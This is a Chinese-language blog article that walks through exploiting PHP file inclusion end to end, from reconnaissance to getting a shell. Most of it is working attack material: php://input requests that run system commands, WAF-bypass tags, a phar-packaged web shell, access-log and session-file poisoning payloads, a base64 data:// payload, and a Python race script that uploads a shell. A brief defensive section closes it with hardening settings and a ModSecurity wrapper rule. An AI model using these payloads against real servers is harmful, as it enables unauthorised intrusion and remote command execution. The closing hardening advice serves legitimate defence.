news 2026/4/16 21:46:45

从allow_url_include配置到Getshell:一个PHP文件包含漏洞的完整利用链搭建指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从allow_url_include配置到Getshell:一个PHP文件包含漏洞的完整利用链搭建指南

PHP文件包含漏洞实战:从协议利用到权限获取的全链路解析

当你在渗透测试中发现目标服务器开启了allow_url_include配置时,就像拿到了打开宝库的钥匙。这个配置项本意是为了方便开发者动态加载远程代码,但却经常成为攻击者突破防线的突破口。本文将带你完整走通从漏洞发现到最终控制服务器的全流程,涵盖PHP 5.2到7.x各版本的差异化利用技巧。

1. 漏洞环境侦察与确认

在开始攻击前,我们需要先确认目标环境的"地形地貌"。经典的探针文件phpinfo.php能提供关键情报:

curl -I http://target.com/phpinfo.php | grep "PHP Version"

如果无法直接获取phpinfo,可以通过错误触发来收集信息。尝试访问不存在的参数触发警告:

http://target.com/index.php?file=nonexistent.php

观察返回的错误信息,常见的有效情报包括:

  • PHP版本号范围(5.3.4 / 7.2.1等)
  • 服务器绝对路径泄露
  • 已加载的扩展模块列表

关键配置检查表

  • allow_url_fopen状态
  • allow_url_include状态
  • open_basedir限制范围
  • disable_functions黑名单

提示:现代PHP环境通常会在错误提示中隐藏敏感信息,此时需要依赖差异化的协议响应来判断配置状态

2. 协议选择与利用链构建

不同PHP版本对协议的支持程度差异显著,下面是主流协议的版本适配矩阵:

协议类型PHP 5.2PHP 5.3PHP 5.6PHP 7.x
php://input
phar://×
zip://
data://
expect://××

2.1 php://input的实战应用

allow_url_include=On时,这是最直接的利用方式。通过Burp Suite构造请求:

GET /index.php?file=php://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 33 <?php system('id'); ?>

绕过技巧

  • 当存在WAF过滤<?php标签时,可以尝试:
    <?= `ls -la` ?>
  • 使用短标签变形:
    <% system('whoami'); %>

2.2 phar协议的高级利用

phar协议在文件上传场景中特别有效。假设我们有一个图片上传点:

  1. 创建恶意PHP文件:

    // shell.php <?php system($_GET['cmd']); ?>
  2. 压缩并修改后缀:

    zip shell.jpg shell.php
  3. 通过包含触发:

    http://target.com/index.php?file=phar://./uploads/shell.jpg/shell.php

注意:PHP 5.3.0以下版本不支持phar协议,且需要目标服务器开启phar扩展

3. 持久化与权限提升

获取初始立足点后,我们需要建立稳定的控制通道。推荐几种持久化方法:

3.1 Web日志污染技术

当其他方法都失效时,日志文件往往是最可靠的突破口。Apache环境下:

http://target.com/index.php?file=<?php system($_GET['cmd']);?>

这会将恶意代码写入访问日志,然后包含日志文件:

http://target.com/index.php?file=/var/log/apache2/access.log

日志路径参考表

服务器类型默认日志路径
Apache/var/log/apache2/access.log
Nginx/var/log/nginx/access.log
IISC:\inetpub\logs\LogFiles\W3SVC1\

3.2 Session文件注入

在具有文件上传但无法直接访问上传目录时:

  1. 获取当前session ID(PHPSESSID)
  2. 通过表单注入恶意代码到session文件
  3. 包含session文件路径:
    /tmp/sess_[PHPSESSID]

4. 现代环境下的绕过艺术

随着PHP版本升级,传统的利用方式逐渐失效。以下是针对新环境的技巧:

4.1 编码混淆技术

使用base64编码绕过内容检测:

http://target.com/index.php?file=php://filter/convert.base64-decode/resource=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

4.2 临时文件竞争利用

结合文件上传与LFI的时序攻击:

import requests while True: files = {'file': ('shell.php', '<?php system($_GET["cmd"]);?>')} requests.post('http://target.com/upload.php', files=files) r = requests.get('http://target.com/index.php?file=/tmp/phpXXXXXX') if 'uid=' in r.text: print('Shell uploaded!') break

5. 防御视角的漏洞修复建议

理解攻击手法后,开发者可以更有针对性地加固系统:

  1. 配置加固

    allow_url_include = Off allow_url_fopen = Off open_basedir = /var/www/html
  2. 代码层防护

    $allowed = ['header.php', 'footer.php']; if(in_array($_GET['file'], $allowed)) { include($_GET['file']); }
  3. WAF规则示例(ModSecurity):

    SecRule ARGS_GET:file "@rx (php://|phar://|zip://)" \ "id:1001,deny,msg:'PHP Wrapper Attack Attempt'"

在PHP 8.0+环境中,许多历史漏洞已被默认修复,但开发者仍需保持警惕。定期进行代码审计和安全测试,才是防御这类漏洞的根本之道。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 21:46:44

Vue3全局指令进阶:如何优雅封装v-loading(含Antd Spin组件定制)

Vue3全局指令进阶&#xff1a;如何优雅封装v-loading&#xff08;含Antd Spin组件定制&#xff09; 在Vue3的生态中&#xff0c;全局指令&#xff08;Directives&#xff09;是一种强大的抽象机制&#xff0c;能够让我们在DOM层面实现可复用的行为封装。而v-loading作为最常见的…

作者头像 李华
网站建设 2026/4/16 21:45:53

虚拟摇杆vJoy:Windows游戏控制模拟的完整解决方案

虚拟摇杆vJoy&#xff1a;Windows游戏控制模拟的完整解决方案 【免费下载链接】vJoy Virtual Joystick 项目地址: https://gitcode.com/gh_mirrors/vj/vJoy 在游戏开发、模拟器应用和自动化测试领域&#xff0c;虚拟输入设备的创建与控制一直是技术实现的关键环节。vJoy…

作者头像 李华
网站建设 2026/4/16 21:45:20

生成式AI服务性能退化预警:如何用1套开源基准框架(+自研指标)提前14天识别推理衰减?

第一章&#xff1a;生成式AI应用性能基准测试 2026奇点智能技术大会(https://ml-summit.org) 生成式AI应用的性能表现不仅取决于模型参数量与推理框架优化&#xff0c;更受实际部署场景中延迟、吞吐量、内存驻留及长尾请求响应稳定性等多维指标制约。脱离真实负载模式的合成基…

作者头像 李华
网站建设 2026/4/16 21:44:59

科研小白也能懂的UpSet图绘制指南:用R语言5分钟搞定基因突变交集分析

科研小白也能懂的UpSet图绘制指南&#xff1a;用R语言5分钟搞定基因突变交集分析 在基因组学研究中&#xff0c;分析多个基因的突变交集是常见需求。传统的Venn图虽然直观&#xff0c;但当分析超过3-4个基因时&#xff0c;就会变得混乱不堪。这正是UpSet图大显身手的地方——它…

作者头像 李华
网站建设 2026/4/16 21:39:05

开发者社区毒性:健康环境营造

在技术飞速迭代与开源协作日益成为主流的今天&#xff0c;开发者社区作为创新与知识共享的核心枢纽&#xff0c;其生态环境的健康度直接决定了技术演进的速度与质量。然而&#xff0c;一个日益凸显的挑战是“社区毒性”——那些隐形的、不尊重的、阻碍协作的互动模式。对于软件…

作者头像 李华
网站建设 2026/4/16 21:34:04

深入Sophpi:剖析SG2002芯片的TPU算力与Milk-V Duo 256M的双系统架构实战

深入Sophpi&#xff1a;剖析SG2002芯片的TPU算力与Milk-V Duo 256M的双系统架构实战 在边缘计算领域&#xff0c;SG2002芯片以其1.0TOPS的AI算力和低功耗特性&#xff0c;正在重新定义智能门锁、IP摄像头等设备的性能边界。与此同时&#xff0c;Milk-V Duo 256M凭借RISC-V/ARM双…

作者头像 李华